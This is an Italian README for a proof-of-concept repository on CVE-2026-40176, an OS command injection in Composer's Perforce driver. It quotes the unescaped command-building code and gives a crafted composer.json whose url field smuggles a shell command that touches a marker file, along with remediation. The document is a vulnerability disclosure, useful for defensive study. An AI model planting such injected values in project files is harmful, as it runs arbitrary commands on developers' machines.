
Proof-of-concept exploit per CVE-2026-40176, una iniezione di comandi del sistema operativo nel driver Perforce VCS di Composer che consente l'esecuzione remota di codice tramite un file composer.json modificato ad arte.
Questo repository è un Proof of Concept (PoC) per la vulnerabilità critica di OS command injection CVE-2026-40176 presente nel driver VCS Perforce di Composer. La vulnerabilità interessa le versioni di Composer precedenti alla 2.2.27 e 2.9.6.
La vulnerabilità risiede nel metodo Perforce::generateP4Command(). Durante la costruzione dei comandi shell, la sanificazione dei valori di configurazione del repository come url, p4user e client è insufficiente, consentendo a un aggressore di utilizzare un composer.json controllato per eseguire comandi arbitrari quando la vittima esegue composer install o composer update.
Scoperto da: saku0512 (GitHub)
Questo progetto è destinato esclusivamente a scopi educativi e a verifiche di sicurezza etiche autorizzate.
L'autore non si assume alcuna responsabilità per l'uso improprio, danni o attività illegali derivanti da questo strumento. L'accesso non autorizzato a sistemi informatici è illegale. Utilizzando questo software, accetti di effettuare verifiche di sicurezza solo in ambienti per i quali hai ottenuto esplicita autorizzazione.
Nel metodo generateP4Command() di src/Composer/Util/Perforce.php, le stringhe ottenute dalla configurazione del repository vengono concatenate direttamente per costruire comandi shell.
$p4Command = $this->getP4Executable().' ';
$p4Command .= '-u ' . $this->getUser() . ' '; // non escaped
if ($useClient) {
$p4Command .= '-c ' . $this->getClient() . ' '; // non escaped
}
$p4Command .= '-p ' . $this->getPort() . ' ' . $command; // non escaped
Se questi valori contengono metacaratteri shell come ;, &, |, vengono interpretati dalla shell, portando a un'iniezione di comandi.
Assicurati che PHP sia installato. Questo PoC replica la logica vulnerabile all'interno di Composer.
# Verifica versione PHP
php -v
Un aggressore può creare un composer.json come il seguente:
{
"repositories": [
{
"type": "perforce",
"url": "localhost:1666; touch /tmp/pwned_rce_confirmed #",
"depot": "depot"
}
],
"require": {
"some/package": "dev-master"
}
}
Il file poc.php incluso replica la generazione interna di comandi e la logica di esecuzione di una versione vulnerabile di Composer.
# Esegui PoC
php poc.php
Verifica se il file creato dal payload esiste per confermare l'esecuzione del comando.
ls -l /tmp/pwned_rce_confirmed
Se il file esiste, è possibile confermare che l'RCE ha avuto successo.
Aggiorna immediatamente Composer all'ultima versione.
composer self-update
La correzione applica ProcessExecutor::escape() a tutti gli argomenti derivanti da input utente per prevenire l'interpretazione da parte della shell.